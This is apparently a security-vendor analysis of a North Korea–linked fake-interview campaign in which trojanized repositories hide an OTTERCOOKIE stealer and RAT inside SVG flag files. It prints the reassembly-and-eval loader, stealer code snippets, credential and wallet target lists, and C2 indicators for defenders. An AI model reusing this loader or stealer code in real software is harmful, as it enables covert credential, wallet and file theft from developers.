<p>The payloads are split into Base64 fragments inside HTML comments across every SVG flag image inside an assets directory. These files look like normal images of country flags (<code>AE.svg</code>, <code>AF.svg</code>), but each file contains an injected comment block with Base64-encoded data.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image12.png" alt="SVG image file with Base64-encoded data" title="SVG steganography hides a Contagious Interview malware payload inside a flag image's HTML comment" /></p>
<p>A JavaScript file in the repo (<code>serverValidation.js</code>) reassembles these chunks from every flag in alphabetical order to build the malicious payload.</p>
<pre><code class="language-javascript">function validation() {
  const dir = path.join(process.cwd(), &quot;assets&quot;, &quot;flags&quot;);
  const files = fs.readdirSync(dir)
    .filter(f =&gt; f.endsWith(&quot;.svg&quot;))
    .sort((a, b) =&gt; a.localeCompare(b, &quot;en&quot;)); 
  const parts = [];
  for (const f of files) {
    const raw = fs.readFileSync(path.join(dir, f), &quot;utf8&quot;);
    const m = raw.match(/&lt;!--\s*([\s\S]*?)\s*--&gt;/);
    parts.push(m ? m[1].trim() : &quot;&quot;);
  }
  return parts.join(&quot;&quot;);
}
</code></pre>
<p>The malware then decodes this data with a custom Base64-decoding function, <code>Check()</code>, and then uses <code>eval()</code>, avoiding simple detections that might trigger when using the <code>Buffer.from</code> method or the <code>atob()</code> function.</p>
<pre><code class="language-javascript">function runServerValidation() {
  try {
    eval(Check(validation()));  
  } catch (err) {}
}
</code></pre>
<p>On every server start, the file (<code>server/index.js</code>) calls <code>runServerValidation()</code> after the initial middleware setup. As defined in the project's <code>package.json</code>, both <code>npm run dev</code> and <code>npm start</code> launch <code>server/index.js</code>, so the payload executes on each server boot.</p>
<pre><code> &quot;name&quot;: &quot;gocart&quot;,
  &quot;version&quot;: &quot;0.1.0&quot;,
  &quot;private&quot;: true,
  &quot;scripts&quot;: {
    &quot;dev&quot;: &quot;concurrently -n client,server -c blue,green \&quot;npm run dev:client\&quot; \&quot;npm run dev:server\&quot;&quot;,
    &quot;dev:client&quot;: &quot;next dev --turbopack&quot;,
    &quot;dev:server&quot;: &quot;node server/index.js&quot;,
    &quot;build&quot;: &quot;next build&quot;,
    &quot;start&quot;: &quot;concurrently -n client,server -c blue,green \&quot;next start\&quot; \&quot;node server/index.js\&quot;&quot;,
    &quot;lint&quot;: &quot;next lint&quot;
  },
</code></pre>
<p>Unfortunately, this kind of scam is working against developers. Some users have reported suspicious behavior after running the test challenges, while others have pushed these repos to GitHub unknowingly, not aware of the backdoored code.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image1.png" alt="Trojanized repo found on GitHub titled Giveaway" title="GitHub repository named Giveaway hosting Contagious Interview malware disguised as an e-commerce project" /></p>
<h2>Execution chain</h2>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image5.png" alt="Execution diagram" title="How Contagious Interview malware delivers OTTERCOOKIE's wallet, browser, file and clipboard stealer modules" /></p>
<h2>DPRK attribution: why this links to Contagious Interview</h2>
<p>Our team collected each trojanized repository, extracted the C2 servers, and analyzed each chain. The malicious payloads overlap with previous public reporting on DPRK/Contagious Interview, based on code similarity, behavior and related infrastructure.</p>
<p>The main payload in these repositories shares code similarity with the malware known as <a href="https://jp.security.ntt/insights_resources/tech_blog/en-contagious-interview-ottercookie/">OTTERCOOKIE</a>, first discovered by NTT Security in December 2024. Many of the strings, behavior, and script layout match those in previous publications, such as this blog post from <a href="https://www.microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews/">Microsoft</a>. While the malicious JavaScript code contains slightly different modifications, the underlying behaviors remain, with many matching strings.</p>
<p>The observed API endpoints in our samples also match recently <a href="https://research.jfrog.com/post/rollup-polyfill-masquerading/">linked</a> infrastructure by the JFrog Security research team:</p>
<ul>
<li><code>/api/service/makelog</code></li>
<li><code>/api/service/process/&lt;uid&gt;</code></li>
<li><code>/cldbs</code></li>
<li><code>/upload</code></li>
</ul>
<h2>Why do OTTERCOOKIE and BEAVERTAIL overlap in security research?</h2>
<p>Analyzing this threat actor's activity is complicated by overlapping capabilities among related malware families. Their rapid evolution makes clean distinctions hard to maintain. Historically, BEAVERTAIL functioned as a first-stage stealer and downloader while OTTERCOOKIE served as a later-stage, C2-driven infostealer and RAT. Our observed samples reflect a convergence toward an all-in-one package that combines a Socket.IO-based RAT, a clipboard stealer, and a consolidated credential, wallet, and file stealer, with no Python stage present. On this basis, we lean toward using the OTTERCOOKIE naming convention, while noting that the boundary between the two is no longer clear.</p>
<h2>Malware analysis</h2>
<p>The following section will cover the technical analysis of the malware.</p>
<h3>How obfuscator.io hides the malware's code</h3>
<p>This JavaScript malware is protected by <a href="https://obfuscator.io/">obfuscator.io</a>, which uses various techniques to prevent static analysis, such as string array extraction with index-based lookups to hide strings, a self-rotating array for anti-tampering, and other toolmarks, such as an infinite loop using <code>while (!![])</code>.</p>
<pre><code class="language-javascript">const a0_0x33a083 = a0_0x1c05;
(function(_0x52f7cc, _0x4093b7) {
    const _0x388163 = a0_0x1c05, _0x27de29 = _0x52f7cc();
    while (!![])  {
        try {
            const _0x567e1 = parseInt(_0x388163(0x1cb))/0x1+-parseInt(_0x388163(0x160))/0x2 * ( - parseInt(_0x388163(0x135))/0x3)+parseInt(_0x388163(0x13e))/0x4 * ( - parseInt(_0x388163(0x141))/0x5)+parseInt(_0x388163(0x1d3))/0x6 +  - parseInt(_0x388163(0x1c9))/0x7*(-parseInt(_0x388163(0x184))/0x8) + parseInt(_0x388163(0x12f))/0x9*(-parseInt(_0x388163(0x1c6))/0xa) + parseInt(_0x388163(0x14f))/0xb*(-parseInt(_0x388163(0x16a))/0xc);
</code></pre>
<p>There are 4 main modules that get launched at the start of execution:</p>
<ul>
<li>Browser credential / crypto wallet stealer</li>
<li>File stealer</li>
<li>Socket.IO-based RAT</li>
<li>Clipboard stealer / Windows PE dropper</li>
</ul>
<h3>How the browser credential and crypto wallet stealer module works</h3>
<p>This first module exfiltrates browser-based credentials and crypto wallet extension data across Windows, macOS, and Linux platforms. This module sets its process title to <code>npm-cache</code>, masquerading as a benign npm caching process to avoid suspicion in Windows Task Manager or process listings. The malware detects the operating system at runtime, then enumerates the following browsers based on their file paths:</p>
<table>
<thead>
<tr>
<th>Operating System</th>
<th>Paths</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>Chrome, Edge, LT Browser, Brave under <code>%LOCALAPPDATA%</code></td>
</tr>
<tr>
<td>macOS</td>
<td>Chrome, Brave, Opera, LT Browser, Edge under <code>~/Library/Application Support/</code></td>
</tr>
<tr>
<td>Linux</td>
<td>Chrome, Edge, LT Browser, Brave under <code>~/.config/</code></td>
</tr>
</tbody>
</table>
<p>For each browser profile found, the malware exfiltrates saved credentials (<code>Login Data</code>), autofill data (<code>Web Data</code>), and cryptocurrency wallet extension databases (<code>Local Extension Settings</code>).</p>
<p>This data is submitted via multipart HTTP POST requests to the <code>/upload</code> endpoint on the domain <code>ldb.rightwidth[.]dev</code> using the User Agent <code>axios/1.18.1</code>.</p>
<p>Below is an example of the network request:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image6.png" alt="Exfiltrated login data via a browser stealer module" title="OTTERCOOKIE malware exfiltrates Chrome Login Data via HTTP POST, captured in Wireshark" /></p>
<p>OTTERCOOKIE contains a hard-coded list of cryptocurrency wallet browser extension IDs. If a matching extension is found, the malware uploads the associated LevelDB stores to the C2 server via POST requests to the <code>/cldbs</code> endpoint of the domain (<code>ldb.rightwidth[.]dev</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image9.png" alt="Exfiltrated cryptocurrency wallet data" title="Contagious Interview malware sends Chrome cryptocurrency wallet extension data to a command and control server" /></p>
<p>In our sample, the developer has added a prioritization check if the found extension path is in the first 8 targeted wallets. If so, these file paths receive special treatment: they are added to a monitored path array and trigger a separate workflow in which they are acknowledged by the C2 server and retried until successful. The remaining wallet extensions use a fire-and-forget approach with no acknowledgment or retries.</p>
<pre><code class="language-javascript">         if (wps[&quot;indexOf&quot;](_0x280b81) &lt; 0x8) {
            if (mp[&quot;indexOf&quot;](_0xb30b7f) == -0x1) mp[&quot;push&quot;](_0xb30b7f);
            const _0x109dd4 = await CLDBS(_0xb30b7f + &quot;/ldb&quot;),
              _0x505c6c = mp[&quot;indexOf&quot;](_0xb30b7f);
            _0x109dd4 == &quot;ok&quot; &amp;&amp; mp[&quot;splice&quot;](_0x505c6c, 0x1);
          }
</code></pre>
<p>The list of 25 targeted browser extensions used by this module is in the Appendix.</p>
<p>For macOS machines, the system keychain database is also exfiltrated through this module.</p>
<pre><code class="language-javascript">(async () =&gt; {
  const _0xcb5337 = a0_0x4280ea;
  (os[&quot;platform&quot;]() == &quot;darwin&quot; &amp;&amp;
    (await uf(process.env.HOME + &quot;/Library/Keychains/login.keychain-db&quot;)),
    await run());
})();
</code></pre>
<h3>What files this malware steals from developer machines</h3>
<p>This module performs a recursive file sweep targeting various documents and files from developer machines. On Windows, this module is more aggressive and has a larger blast radius, while on macOS/Linux, drive enumeration is skipped and it only targets home directories.</p>
<p>Before scanning, the malware enumerates the mounted drives on the system using the following WMI query: <code>wmic logicaldisk get name</code></p>
<p>Next, the malware scans each collected root drive from the previous <code>wmic</code> query or the home directories on other platforms, searching for the following files whose names match a set of glob patterns:</p>
<pre><code>*.env*, *.doc, *.docx, *.pdf, *.md, *.rtf, *.odt, *.xls, *.xlsx, *.txt, *.pem, *.ini, *.secret, *.png, *.jpg, *.jpeg, *.webp, *.json, *.ts, *.js, .zsh_history, .bash_history, *.csv
</code></pre>
<p>In addition, any file whose path contains one of the following credential-store or shell-history locations is collected regardless of its extension:</p>
<pre><code>.aws, .azure, .config, .ssh, .bash_history, .zsh_history
</code></pre>
<p>Ultimately, this file stealer targets sensitive information stored on developer machines, including credentials, configuration files, shell histories, documents, images, and source code.</p>
<p>If any of the file patterns get matched, the files are sent through POST requests to the <code>/upload</code> endpoint using the domain (<code>upload.rightwidth[.]dev</code>). The files themselves aren’t additionally encrypted or compressed by the malware when sent over the network.</p>
<p>Below is an example of a <code>.txt</code> exfiltrated through this module:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image13.png" alt="Network request showing text file exfiltrated" title="OTTERCOOKIE's file stealer uploads a text file from a developer's Python directory over HTTP" /></p>
<p>The following file extensions and file paths are excluded from this file exfiltration module. There is a deliberate scoping decision in which the threat actors seek to maximize their signal and minimize noise. The list also confirms that this group is in tune with the current developer ecosystem, avoiding AI coding tooling extensions such as <code>.claude</code>, <code>.cursor</code>, <code>.gemini</code>, or <code>.windsurf</code>.</p>
<pre><code>&quot;node_modules&quot;, &quot;npm&quot;, &quot;hooks&quot;, &quot;android&quot;, &quot;example&quot;, &quot;AppData&quot;, &quot;vendors&quot;, &quot;vendor&quot;, &quot;public&quot;, &quot;css&quot;, &quot;less&quot;, &quot;scss&quot;, &quot;.cache&quot;, &quot;.conda&quot;, &quot;.move&quot;, &quot;.tldrc&quot;, &quot;.android&quot;, &quot;.avm&quot;, &quot;.brownie&quot;, &quot;.3T&quot;, &quot;.node-gyp&quot;, &quot;.gk&quot;, &quot;.claude&quot;, &quot;.cocoapods&quot;, &quot;.conda&quot;, &quot;.cursor&quot;, &quot;.devctl&quot;, &quot;.eigent&quot;, &quot;.nvm&quot;, &quot;.stream&quot;, &quot;.steam&quot;, &quot;.windsurf&quot;, &quot;.gnupg&quot;, &quot;.pm2&quot;, &quot;.snipaste&quot;, &quot;.vue-cli-ui&quot;, &quot;.cursor&quot;, &quot;.vscode-server&quot;, &quot;.cargo&quot;, &quot;.local&quot;, &quot;.rustup&quot;, &quot;.pub-cache&quot;, &quot;.Trash&quot;, &quot;.dll&quot;, &quot;.dmg&quot;, &quot;.exe&quot;, &quot;.sh&quot;, &quot;.bin&quot;, &quot;module&quot;, &quot;.map&quot;, &quot;.jar&quot;, &quot;.original&quot;, &quot;.yml&quot;, &quot;.yaml&quot;, &quot;flutter&quot;, &quot;llama&quot;, &quot;.ppt&quot;, &quot;.cl&quot;, &quot;.psd&quot;, &quot;.pak&quot;, &quot;.pages&quot;, &quot;.gemini&quot;, &quot;.pearai&quot;, &quot;extension&quot;, &quot;media&quot;, &quot;.key&quot;, &quot;.var&quot;, &quot;.sst&quot;, &quot;.pkg&quot;, &quot;.pack&quot;, &quot;.msi&quot;, &quot;.apk&quot;, &quot;.aep&quot;, &quot;.3mf&quot;, &quot;.big&quot;, &quot;.bundle&quot;, &quot;.hpp&quot;, &quot;.cdr&quot;, &quot;.car&quot;, &quot;.cfa&quot;, &quot;.cab&quot;, &quot;.mp4&quot;, &quot;.wma&quot;, &quot;DCIM&quot;, &quot;.webm&quot;, &quot;.dylib&quot;, &quot;.nvm&quot;, &quot;.sol&quot;, &quot;.mp3&quot;, &quot;.sys&quot;, &quot;.avi&quot;, &quot;.so&quot;, &quot;.sqlite&quot;, &quot;.dat&quot;, &quot;.jar&quot;, &quot;anaconda3&quot;, &quot;.yarn&quot;, &quot;build&quot;, &quot;.next&quot;, &quot;.git&quot;, &quot;.gitignore&quot;, &quot;.github&quot;, &quot;cache&quot;, &quot;tmp&quot;, &quot;temp&quot;, &quot;dist&quot;, &quot;library&quot;, &quot;lib&quot;, &quot;mysql&quot;, &quot;imgs&quot;, &quot;img&quot;, &quot;images&quot;, &quot;image&quot;, &quot;plugin&quot;, &quot;plugin&quot;, &quot;.vscode&quot;, &quot;package-lock.json&quot;, &quot;.pyp&quot;, &quot;.myi&quot;, &quot;.rustup&quot;, &quot;.docker&quot;, &quot;manifest&quot;, &quot;.expo&quot;, &quot;AppData&quot;, &quot;windows.old&quot;, &quot;pkg&quot;, &quot;package&quot;, &quot;packages&quot;, &quot;openzeppelin&quot;, &quot;prisma&quot;, &quot;pkgs&quot;, &quot;fonts&quot;, &quot;debug&quot;, &quot;background&quot;, &quot;wallpaper&quot;, &quot;_locales&quot;, &quot;locale&quot;, &quot;locales&quot;, &quot;Program\x20Files&quot;, &quot;Program Files (x86)&quot;, &quot;ProgramData&quot;, &quot;All Users&quot;, &quot;All User&quot;, &quot;Windows&quot;, &quot;Microsoft&quot;, &quot;$RECYCLE.BIN&quot;, &quot;Visual Studio Code.app&quot;,
</code></pre>
<h3>Socket.IO-based RAT</h3>
<p>This third stage establishes a persistent <a href="https://socket.io/">Socket.IO</a> command-and-control channel to the domain (<code>controller.rightwidth[.]dev</code>) over HTTPS. The malware ensures only one instance runs by enforcing a PID lock by writing its own process ID to a lock file in the user’s directory (<code>C:\Users\jim\.npm\vhost.ctl</code>).</p>
<p>The malware includes VM/sandbox detections for the different platforms. If there is a match, the malware places a tag in the C2 response with <code>(VM)</code> but does not stop or prevent it from running. This is likely used as a filtering mechanism to prioritize real victim machines over sandboxes/VMs.</p>
<p>The following table defines the VM detection mechanisms for each platform:</p>
<table>
<thead>
<tr>
<th align="left">Operating System</th>
<th align="left">Query</th>
<th align="left">String Check</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows</td>
<td align="left">Retrieves system details using the <code>WMIC</code> command: <code>wmic computersystem get model,manufacturer</code></td>
<td align="left"><code>vmware</code>, <code>virtualbox</code>, <code>qemu</code>, <code>microsoft corporation</code></td>
</tr>
<tr>
<td align="left">macOS</td>
<td align="left">Retrieves the system details using the command: <code>system_profiler SPHardwareDataType</code></td>
<td align="left"><code>/vmware|virtualbox|qemu|parallels|virtual/</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left">Reads system details using <code>/proc/cpuinfo</code></td>
<td align="left"><code>/hypervisor|vmware|virtualbox|qemu|kvm|xen|parallels|bochs\/i</code></td>
</tr>
</tbody>
</table>
<p>A registration beacon is sent to the domain (<code>controller.rightwidth[.]dev</code>) using endpoint <code>/api/service/process/&lt;uid&gt;</code>. This includes the system host information, letting the threat actor know a new victim has been added.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image11.png" alt="Network request showing registration over Socket.IO" title="OTTERCOOKIE malware registers a new infected host with its Contagious Interview command and control server" /></p>
<p>The malware uses a logging channel (<code>/api/service/makelog</code>), which keeps the operator informed of the implant’s health and any errors.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image4.png" alt="Network traffic showing a logging request" title="OTTERCOOKIE malware installs a Socket.IO client to establish command and control on an infected machine" /></p>
<p>The operator sends a <code>command</code> event containing a shell command, which the implant executes via <code>child_process.exec()</code> and returns the output as a <code>message</code> event over the same Socket.IO connection. This gives the operator interactive shell access to the victim machine in real time. Below is an example response from a victim machine running <code>whoami</code>:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image7.png" alt="Network traffic showing whoami command output" title="OTTERCOOKIE's Socket.IO remote access trojan executes a whoami command on a victim machine" /></p>
<h3>Clipboard stealer and Windows payload dropper</h3>
<p>The fourth module contains two separate capabilities: Windows dropper functionality and a clipboard stealer.</p>
<p>The dropper component is Windows-only and downloads three second-stage binaries via <code>curl</code> from <code>file.rightwidth[.]dev</code>, each disguised as a <code>.txt</code> file, then renamed to <code>.exe</code> before execution. The C2 server was unavailable at the time of analysis, so the payloads could not be retrieved. Based on their naming convention, they may relate to additional discovery or enumeration capabilities, but this is unconfirmed.</p>
<ul>
<li><code>hostService.txt -&gt; hostService.exe</code></li>
<li><code>printSvc.txt -&gt; printSvc.exe</code></li>
<li><code>dhcpSvc.txt -&gt; dhcpSvc.exe</code></li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image2.png" alt="Second-stage downloads" title="OTTERCOOKIE malware requests three second-stage payloads: hostService.txt, printSvc.txt, and dhcpSvc.txt" /></p>
<p>The clipboard functionality is only available on macOS and Windows. The malware polls every 500ms for new clipboard content, exfiltrating any changes to the C2 server (<code>rightwidth[.]dev</code>) via POST requests using endpoint (<code>/api/service/makelog/</code>).</p>
<p>For macOS devices, <code>pbpaste</code> is used to retrieve the clipboard contents from victim machines.</p>
<pre><code class="language-javascript">const getClipboard = async () =&gt; {
    try {
        if (os.platform() === &quot;darwin&quot;) {
            return execSync(&quot;pbpaste&quot;, { encoding: &quot;utf8&quot; }).trim();
        }
        if (os.platform() === &quot;win32&quot;) {
            return execSync(&quot;powershell -NoProfile -NonInteractive Get-Clipboard&quot;, {
                encoding:    &quot;utf8&quot;,
                windowsHide: true,
            }).trim();
        }
        // Linux: no implementation — returns null every poll, loop is a no-op
        return null;
    } catch (_) {
        return null;
    }
};
</code></pre>
<p>On Windows, a new PowerShell process is spawned every 500ms via <code>Get-Clipboard</code> to retrieve the current clipboard contents. Below is an example process tree showing the clipboard module in action:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/image10.png" alt="Clipboard stealer process tree via Elastic Defend" title="OTTERCOOKIE's clipboard stealer spawns PowerShell from node.exe, captured in Elastic Defend" /></p>
<h2>Conclusion</h2>
<p>Developers remain a high-value target, with campaigns like these likely seeking to establish an initial foothold that can ultimately enable larger supply chain compromises. The success of these operations underscores how compromising an individual developer can provide a path to much broader organizational impact.</p>
<p>By sharing our findings, we hope to help organizations and developers recognize these tactics earlier, identify similar activity in their own environments, and take action before an initial compromise escalates into a wider intrusion.</p>
<h2>Contagious Interview malware: MITRE ATT&amp;CK techniques and tactics</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1115/">Clipboard Data</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/">Credentials from Password Stores</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1001/002/">Data Obfuscation: Steganography</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
</ul>
<h2>How to detect and prevent this Contagious Interview malware campaign</h2>
<h3>Detection and prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_web_browser_credential_access_via_scripting_utility.toml">Web Browser Credential Access via Scripting Utility</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_ingress_tool_transfer_via_curl.toml">Ingress Tool Transfer via CURL</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a></li>
</ul>
<h2>Observables</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>8e571d58794b9b44ae53c2c67bedef72c500e8adbb80aab7a5c263adcba55b1e</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>ecommerce-main.zip</code></td>
<td align="left">Trojanized repository</td>
</tr>
<tr>
<td align="left"><code>3e6360f83a95540aa2176d279ca4694513afb1e5116a7ffe591c6b5bcf3b9c3c</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>next-ecommerce-private-main.zip</code></td>
<td align="left">Trojanized repository</td>
</tr>
<tr>
<td align="left"><code>4e7639045b4a64de60bfb6312951a5c3dffbd3fb04b84837663242ed27f09864</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>shopping-platform-main.zip</code></td>
<td align="left">Trojanized repository</td>
</tr>
<tr>
<td align="left"><code>54bf36910d81ab516037cb3d69d7c85190f90aa0da9e58617799c1fc738dc5a9</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>ecommerce-platform.zip</code></td>
<td align="left">Trojanized repository</td>
</tr>
<tr>
<td align="left"><code>96357529d17c4690826d5d4c74deac51743a5388733b3f04004d898f0635ef20</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>shop-main.zip</code></td>
<td align="left">Trojanized repository</td>
</tr>
<tr>
<td align="left"><code>9df01d242ef46adfedf8c35cb7cc67b1d27d7dc4a1ce74ab32e984090d579886</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>ecommerce-platform-main.zip</code></td>
<td align="left">Trojanized repository</td>
</tr>
<tr>
<td align="left"><code>c5aed4c063d4970a03250778da8041da9e0c83d8f22d2f1994da0ad72567ebd9</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>shopping-platform.rar</code></td>
<td align="left">Trojanized repository</td>
</tr>
<tr>
<td align="left"><code>cc97517f80f567977300450de11e9a0be53f52657525a20b1091c99fe9e45730</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>shopping-platform.rar</code></td>
<td align="left">Trojanized repository</td>
</tr>
<tr>
<td align="left"><code>fb94b2caee2c40635448a98ba0118421e19a400e74ccff73315f8fa42351f53f</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>shop-main.zip</code></td>
<td align="left">Trojanized repository</td>
</tr>
<tr>
<td align="left"><code>rightwidth[.]dev</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">OTTERCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left"><code>ldb.rightwidth[.]dev</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Browser and wallet stealer C2</td>
</tr>
<tr>
<td align="left"><code>upload.rightwidth[.]dev</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">File stealer upload C2</td>
</tr>
<tr>
<td align="left"><code>controller.rightwidth[.]dev</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Socket.IO RAT C2</td>
</tr>
<tr>
<td align="left"><code>file.rightwidth[.]dev</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Windows second-stage download host</td>
</tr>
<tr>
<td align="left"><code>195.26.248[.]212</code></td>
<td align="left">ipv4</td>
<td align="left"></td>
<td align="left">OTTERCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left"><code>188.40.64[.]61</code></td>
<td align="left">ipv4</td>
<td align="left"></td>
<td align="left">OTTERCOOKIE C2 Server</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews/">Contagious Interview malware delivered through fake developer job interviews (Microsoft)</a></li>
<li><a href="https://jp.security.ntt/insights_resources/tech_blog/en-contagious-interview-ottercookie/">OTTERCOOKIE Contagious Interview analysis (NTT Security)</a></li>
<li><a href="https://research.jfrog.com/post/rollup-polyfill-masquerading/">Rollup polyfill masquerading infrastructure (JFrog Security)</a></li>
</ul>
<h2>Appendix: targeted cryptocurrency wallet extension IDs</h2>
<table>
<thead>
<tr>
<th align="left">Extension ID</th>
<th align="left">Wallet</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>nkbihfbeogaeaoehlefnkodbefgpgknn</code></td>
<td align="left">MetaMask Wallet</td>
</tr>
<tr>
<td align="left"><code>acmacodkjbdgmoleebolmdjonilkdbch</code></td>
<td align="left">Rabby Wallet</td>
</tr>
<tr>
<td align="left"><code>bfnaelmomeimhlpmgjnjophhpkkoljpa</code></td>
<td align="left">Phantom Wallet</td>
</tr>
<tr>
<td align="left"><code>dmkamcknogkgcdfhhbddcghachkejeap</code></td>
<td align="left">Keplr</td>
</tr>
<tr>
<td align="left"><code>ejbalbakoplchlghecdalmeeeajnimhm</code></td>
<td align="left">MetaMask (Edge)</td>
</tr>
<tr>
<td align="left"><code>ppbibelpcjmhbdihakflkdcoccbgbkpo</code></td>
<td align="left">UniSat Wallet</td>
</tr>
<tr>
<td align="left"><code>egjidjbpglichdcondbcbdnbeeppgdph</code></td>
<td align="left">Trust Wallet</td>
</tr>
<tr>
<td align="left"><code>ibnejdfjmmkpcnlpebklmnkoeoihofec</code></td>
<td align="left">TronLink Wallet</td>
</tr>
<tr>
<td align="left"><code>bhhhlbepdkbapadjdnnojkbgioiodbic</code></td>
<td align="left">Solflare Wallet</td>
</tr>
<tr>
<td align="left"><code>omaabbefbmiijedngplfjmnooppbclkk</code></td>
<td align="left">Tonkeeper</td>
</tr>
<tr>
<td align="left"><code>khpkpbbcccdmmclmpigdgddabeilkdpd</code></td>
<td align="left">Sui Wallet</td>
</tr>
<tr>
<td align="left"><code>fhbohimaelbohpjbbldcngcnapndodjp</code></td>
<td align="left">BNB Chain Wallet (Binance)</td>
</tr>
<tr>
<td align="left"><code>aeachknmefphepccionboohckonoeemg</code></td>
<td align="left">Coin98</td>
</tr>
<tr>
<td align="left"><code>hifafgmccdpekplomjjkcfgodnhcellj</code></td>
<td align="left">Crypto.com Wallet</td>
</tr>
<tr>
<td align="left"><code>jblndlipeogpafnldhgmapagcccfchpi</code></td>
<td align="left">Kaia Wallet</td>
</tr>
<tr>
<td align="left"><code>dlcobpjiigpikoobohmabehhmhfoodbb</code></td>
<td align="left">Ready Wallet</td>
</tr>
<tr>
<td align="left"><code>mcohilncbfahbmgdjkbpemcciiolgcge</code></td>
<td align="left">OKX Wallet</td>
</tr>
<tr>
<td align="left"><code>agoakfejjabomempkjlepdflaleeobhb</code></td>
<td align="left">Core Wallet</td>
</tr>
<tr>
<td align="left"><code>aholpfdialjgjfhomihkjbmgjidlcdno</code></td>
<td align="left">Exodus Web3 Wallet</td>
</tr>
<tr>
<td align="left"><code>nphplpgoakhhjchkkhmiggakijnkhfnd</code></td>
<td align="left">TON Wallet</td>
</tr>
<tr>
<td align="left"><code>penjlddjkjgpnkllboccdgccekpkcbin</code></td>
<td align="left">OpenMask (TON)</td>
</tr>
<tr>
<td align="left"><code>lgmpcpglpngdoalbgeoldeajfclnhafa</code></td>
<td align="left">SafePal Wallet</td>
</tr>
<tr>
<td align="left"><code>fldfpgipfncgndfolcbkdeeknbbbnhcc</code></td>
<td align="left">My TON Wallet</td>
</tr>
<tr>
<td align="left"><code>gjnckgkfmgmibbkoficdidcljeaaaheg</code></td>
<td align="left">Atomic Wallet</td>
</tr>
<tr>
<td align="left"><code>afbcbjpbpfadlkmhmclhkeeodmamcflc</code></td>
<td align="left">MathWallet</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/contagious-interview-malware-svg-steganography/contagious-interview-malware-svg-steganography.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[TELEPUZ: a modular MaaS malware spreading via CLICKFIX-VIDAR chains]]></title>
